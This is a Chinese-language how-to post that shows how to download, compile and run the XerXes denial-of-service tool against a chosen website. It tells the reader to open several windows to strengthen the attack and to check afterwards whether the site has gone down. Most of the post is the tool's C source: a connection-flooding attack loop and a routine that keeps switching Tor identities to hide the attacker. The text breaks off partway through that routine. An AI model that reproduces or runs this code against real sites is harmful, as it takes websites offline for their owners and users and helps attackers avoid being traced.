参考视频：https://www.youtube.com/watch?v=rEpSmCWTQcY

1、

cd /tmp
git clone https://github.com/zanyarjamal/xerxes.git

cd xerxes

gcc xerxes.c -o xerxes

./xerxes 目标网站，www开头 端口，一般是80

#如果感觉效果不是很明显，可以多开几个窗口跑一样的内容。

http://www.isitdownrightnow.com/ 检测网站是否down掉了。把要检测网址粘入即可。

示例脚本xerxes.c：

/* XerXes - Most powerful dos tool - #SJ edited bY mR.Thg */
 
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <unistd.h>
#include <netdb.h>
#include <signal.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <arpa/inet.h>
 
int make_socket(char *host, char *port) {
        struct addrinfo hints, *servinfo, *p;
        int sock, r;
//      fprintf(stderr, "[Connecting -> %s:%s\n", host, port);
        memset(&hints, 0, sizeof(hints));
        hints.ai_family = AF_UNSPEC;
        hints.ai_socktype = SOCK_STREAM;
        if((r=getaddrinfo(host, port, &hints, &servinfo))!=0) {
                fprintf(stderr, "getaddrinfo: %s\n", gai_strerror(r));
                exit(0);
        }
        for(p = servinfo; p != NULL; p = p->ai_next) {
                if((sock = socket(p->ai_family, p->ai_socktype, p->ai_protocol)) == -1) {
                        continue;
                }
                if(connect(sock, p->ai_addr, p->ai_addrlen)==-1) {
                        close(sock);
                        continue;
                }
                break;
        }
        if(p == NULL) {
                if(servinfo)
                        freeaddrinfo(servinfo);
                fprintf(stderr, "No connection could be made\n");
                exit(0);
        }
        if(servinfo)
                freeaddrinfo(servinfo);
        fprintf(stderr, "[Connected -> %s:%s]\n", host, port);
        return sock;
}
 
void broke(int s) {
        // do nothing
}
 
#define CONNECTIONS 8
#define THREADS 48
 
void attack(char *host, char *port, int id) {
        int sockets[CONNECTIONS];
        int x, g=1, r;
        for(x=0; x!= CONNECTIONS; x++)
                sockets[x]=0;
        signal(SIGPIPE, &broke);
        while(1) {
                for(x=0; x != CONNECTIONS; x++) {
                        if(sockets[x] == 0)
                                sockets[x] = make_socket(host, port);
                        r=write(sockets[x], "\0", 1);
                        if(r == -1) {
                                close(sockets[x]);
                                sockets[x] = make_socket(host, port);
                        } else
//                              fprintf(stderr, "Socket[%i->%i] -> %i\n", x, sockets[x], r);
                        fprintf(stderr, "[%i: Packet Sent]\n", id);
                }
                fprintf(stderr, "[%i: Packet Sent]\n", id);
                usleep(300000);
        }
}
 
void cycle_identity() {
        int r;
        int socket = make_socket("localhost", "9050");
        write(socket, "AUTHENTICATE \"\"\n", 16);
        while(1) {
                r=write(socket, "signal NEWNYM\n\x00", 16);
                fprintf(stderr, "[%i: cycle_identity -> signal NEWNYM\n", r);
                usleep(300000);